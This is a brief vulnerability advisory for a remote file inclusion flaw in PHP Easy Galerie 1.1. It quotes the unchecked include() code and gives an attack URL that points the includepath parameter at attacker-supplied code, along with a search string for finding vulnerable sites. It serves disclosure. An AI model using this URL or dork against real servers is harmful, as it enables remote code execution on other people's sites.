PHP Easy Galerie Index.PHP Remote File Include Vulnerability

Vendor: Power-Place
www.power-place.net
(PHP Easy Galerie 1.1)

Author:Craziest
Contact: craziest(at)gmail(dot)com
Vuln discovered by BrEakerS

Method:An attacker can exploit this issue to include
an arbitrary remote file containing malicious PHP code and execute
it in the context of the webserver process by
source:
if(isset($includepath)){
include ("$includepath");

http://[url]/gallerypath/index.php?includepath=evilcode

Search:"Power-Place 2003/2004"

Greets:Rootshell Security Group